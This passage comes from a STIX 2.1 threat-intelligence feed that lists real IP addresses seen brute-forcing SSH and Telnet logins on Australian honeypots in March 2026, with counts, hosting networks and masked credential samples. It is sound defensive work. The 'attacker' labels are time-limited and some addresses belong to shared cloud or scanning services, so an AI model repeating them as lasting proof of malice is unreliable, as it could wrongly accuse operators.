      "id": "indicator--6b35d98b-5957-4a2d-9125-bf21c33fca81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '164.90.138.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:15:07.000Z",
      "valid_until": "2026-04-11T06:15:05.000Z"
    },
    {
      "created": "2026-03-10T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--f88aea15-8b37-49c5-90f0-2bcd82642b18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.227.229.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:15:07.000Z",
      "valid_until": "2026-04-11T06:15:05.000Z"
    },
    {
      "created": "2026-03-10T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 166. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, r**t, t**t, u**r. Passwords observed (masked): p******d, 1****1, 1****3, 1***5, 1****6.",
      "id": "indicator--2e47b6e5-6275-48ab-8576-6f7005fac5d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '168.144.22.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:15:07.000Z",
      "valid_until": "2026-04-11T06:15:05.000Z"
    },
    {
      "created": "2026-03-10T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262352. Organisation(s): NOVA TELECOM LTDA.",
      "id": "indicator--11608777-80d0-4b80-a245-dfa818f30dcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.246.107.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:15:07.000Z",
      "valid_until": "2026-04-11T06:15:05.000Z"
    },
    {
      "created": "2026-03-10T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): 3**********4, a******r, r**t, t******a, c****m. Passwords observed (masked): 1**4, 3***********4, 3**********4, ***, 1****6.",
      "id": "indicator--8be4455e-8f31-4cf2-8665-eb64cc87bc92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.104.206.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:15:07.000Z",
      "valid_until": "2026-04-11T06:15:05.000Z"
    },
    {
      "created": "2026-03-10T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 83. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 52967. Organisation(s): NT Brasil Tecnologia Ltda. ME. Usernames observed (masked): c*****e, 3**********4, c****m. Passwords observed (masked): 1**4, 3***********4, 3**********4, c*********!.",
      "id": "indicator--8d48304b-04b0-42db-ab7c-98b4361a64d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.36.214.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:15:07.000Z",
      "valid_until": "2026-04-11T06:15:05.000Z"
    },
    {
      "created": "2026-03-10T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--455b4395-4247-4aed-a908-30a61a48df91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.189.5.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:15:07.000Z",
      "valid_until": "2026-04-11T06:15:05.000Z"
    },
    {
      "created": "2026-03-10T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--6c1f627a-6e66-4b8b-ac19-b851f5bd424b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.124.218.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:15:07.000Z",
      "valid_until": "2026-04-11T06:15:05.000Z"
    },
    {
      "created": "2026-03-10T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--28388b44-2010-4414-9c35-5709e6aea9af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.59.48.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:15:07.000Z",
      "valid_until": "2026-04-11T06:15:05.000Z"
    },
    {
      "created": "2026-03-10T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): u****5, 3**********4, c***d, m**t, v****t. Passwords observed (masked): 1***5, 1****6, 3***********4, 3**********4, u****5.",
      "id": "indicator--4b13dd6e-3128-4204-9fe1-c21c22e8828c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.254.130.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:15:07.000Z",
      "valid_until": "2026-04-11T06:15:05.000Z"
    },
    {
      "created": "2026-03-10T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 38253. Organisation(s): Hanoi Telecom JSC. Usernames observed (masked): c***d, 3**********4, a**n, h***g, m****r. Passwords observed (masked): 1**4, 1****6, 3***********4, 3**********4, A******!.",
      "id": "indicator--67ce2655-f1a7-4b16-b08d-b6724b8ebed0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.172.236.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T07:15:05.000Z",
      "valid_until": "2026-04-11T07:15:01.000Z"
    },
    {
      "created": "2026-03-10T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137120. Organisation(s): Nas Internet Services Private Limited.",
      "id": "indicator--e9e9c1ab-035f-451e-8dae-409d2d1a20ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.102.189.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T07:15:05.000Z",
      "valid_until": "2026-04-11T07:15:01.000Z"
    },
    {
      "created": "2026-03-10T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28178. Organisation(s): Networld Provedor e Servicos de Internet Ltda.",
      "id": "indicator--84d3b066-b365-4f17-9778-551f51918a6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.75.8.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T07:15:05.000Z",
      "valid_until": "2026-04-11T07:15:01.000Z"
    },
    {
      "created": "2026-03-10T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 24544. Organisation(s): Overcasts Limited. Usernames observed (masked): r**t. Passwords observed (masked): Q*******3.",
      "id": "indicator--f11cbdab-b507-4860-8a59-99f3a6bba8c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.216.116.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T07:15:05.000Z",
      "valid_until": "2026-04-11T07:15:01.000Z"
    },
    {
      "created": "2026-03-10T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 134489. Organisation(s): S. B Link Network.",
      "id": "indicator--8429ec3b-c60c-4a07-afbd-179ba449eae1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.128.10.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T07:15:05.000Z",
      "valid_until": "2026-04-11T07:15:01.000Z"
    },
    {
      "created": "2026-03-10T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--4f3fb105-2e84-4922-87c6-7b33b58fe32f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.123.41.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T07:15:05.000Z",
      "valid_until": "2026-04-11T07:15:01.000Z"
    },
    {
      "created": "2026-03-10T08:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r*****r, t**r. Passwords observed (masked): p******d, t******s.",
      "id": "indicator--e49d6154-f4f5-444b-8d37-ce717f007e44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.250.10.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T08:15:03.000Z",
      "valid_until": "2026-04-11T08:15:01.000Z"
    },
    {
      "created": "2026-03-10T08:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): c***d, 3**********4, a**s, f******t, v****r. Passwords observed (masked): 1****6, 1******8, 3***********4, 3**********4, f******t.",
      "id": "indicator--a8ad15ee-e218-41d4-a0d0-e889bdf7c324",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.82.92.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T08:15:03.000Z",
      "valid_until": "2026-04-11T08:15:01.000Z"
    },
    {
      "created": "2026-03-10T08:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--eff23a34-1c33-4ff7-b710-ee6b51f19c03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '105.184.206.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T08:15:03.000Z",
      "valid_until": "2026-04-11T08:15:01.000Z"
    },
    {
      "created": "2026-03-10T08:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP. Usernames observed (masked): e*****o. Passwords observed (masked): e*********s.",
      "id": "indicator--581900e1-3e1d-499c-b324-55b0c1eff832",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.225.217.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T08:15:03.000Z",
      "valid_until": "2026-04-11T08:15:01.000Z"
    },
    {
      "created": "2026-03-10T08:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--48c96873-b9c4-4aea-93e0-628d2efcdd6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T08:15:03.000Z",
      "valid_until": "2026-04-11T08:15:01.000Z"
    },
    {
      "created": "2026-03-10T08:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): b***h, s******m. Passwords observed (masked): b*******s, s*********3.",
      "id": "indicator--e54998ac-d0c0-44d2-9d57-d1681298a37d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '173.249.52.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T08:15:03.000Z",
      "valid_until": "2026-04-11T08:15:01.000Z"
    },
    {
      "created": "2026-03-10T08:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 44486. Organisation(s): SYNLINQ. Usernames observed (masked): 3**********4, c***d, k***m, a**f, h***y. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1***5.",
      "id": "indicator--2a1192d4-63e8-4729-b7c5-fe911657fc58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.116.18.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T08:15:03.000Z",
      "valid_until": "2026-04-11T08:15:01.000Z"
    },
    {
      "created": "2026-03-10T08:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 42610. Organisation(s): Rostelecom.",
      "id": "indicator--be540ef0-e1db-4359-bcb7-54ad267f7e2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.140.2.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T08:15:03.000Z",
      "valid_until": "2026-04-11T08:15:01.000Z"
    },
    {
      "created": "2026-03-10T08:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 45117. Organisation(s): Ishans Network. Usernames observed (masked): *. Passwords observed (masked): *.",
      "id": "indicator--6061a139-2358-4f19-a0e4-ced459f80d08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '183.87.217.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T08:15:03.000Z",
      "valid_until": "2026-04-11T08:15:01.000Z"
    },
    {
      "created": "2026-03-10T08:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit. Usernames observed (masked): s*****t. Passwords observed (masked): Z*************6.",
      "id": "indicator--17c8b46a-ee57-42b2-ad72-1cf9bf736e4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T08:15:03.000Z",
      "valid_until": "2026-04-11T08:15:01.000Z"
    },
    {
      "created": "2026-03-10T08:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): m*****a, 3**********4, b******s, c***d, c*****y. Passwords observed (masked): 1****6, 1******8, 1******A, 3***********4, 3**********4.",
      "id": "indicator--55feeac1-07d6-4af8-9749-9a0ddc48d100",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.193.141.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T08:15:03.000Z",
      "valid_until": "2026-04-11T08:15:01.000Z"
    },
    {
      "created": "2026-03-10T08:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, **. Passwords observed (masked): !***t, 1******x, A********!, P**********6, q**********6.",
      "id": "indicator--1af275aa-ea8e-48f6-8246-e84fa431c1c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.189.29.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T08:15:03.000Z",
      "valid_until": "2026-04-11T08:15:01.000Z"
    },
    {
      "created": "2026-03-10T08:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): w**k, 3**********4, a*****r, c***d, m*****a. Passwords observed (masked): 1******8, ***, 1****6, 3***********4, 3**********4.",
      "id": "indicator--5e70ff8f-a1ca-4bdd-a8f6-c3bcf46f42bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.189.58.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T08:15:03.000Z",
      "valid_until": "2026-04-11T08:15:01.000Z"
    },
    {
      "created": "2026-03-10T08:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 24532. Organisation(s): PT. Inet Global Indo. Usernames observed (masked): 3**********4, A***n, i***a, a****n, a****r. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1******8, A******3.",
      "id": "indicator--cd6482d1-f540-4431-8823-58734b494c70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.111.32.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T08:15:03.000Z",
      "valid_until": "2026-04-11T08:15:01.000Z"
    },
    {
      "created": "2026-03-10T08:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--49563307-af17-47b0-bfd5-133b2efce82b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T08:15:03.000Z",
      "valid_until": "2026-04-11T08:15:01.000Z"
    },
    {
      "created": "2026-03-10T08:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--e57e58b1-5946-4073-a919-2c0cb4616406",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.209.246.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T08:15:03.000Z",
      "valid_until": "2026-04-11T08:15:01.000Z"
    },
    {
      "created": "2026-03-10T08:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3356. Organisation(s): Level 3 Parent, LLC. Usernames observed (masked): r**t, c***d, 3**********4, c*********o, k****l. Passwords observed (masked): 1**4, 1****6, 3***********4, 3**********4, A******9.",
      "id": "indicator--feecf00f-d701-47fc-948d-d0d6b362a010",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.243.64.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T08:15:03.000Z",
      "valid_until": "2026-04-11T08:15:01.000Z"
    },
    {
      "created": "2026-03-10T08:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 215672. Organisation(s): MoeChuang Network Limited. Usernames observed (masked): 3**********4, A***n, i***a, a****n, a****r. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1******8, A******3.",
      "id": "indicator--74bbfaa3-8189-4b86-b4ee-cecd076c70da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '82.153.157.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T08:15:03.000Z",
      "valid_until": "2026-04-11T08:15:01.000Z"
    },
    {
      "created": "2026-03-10T09:15:03.000Z",
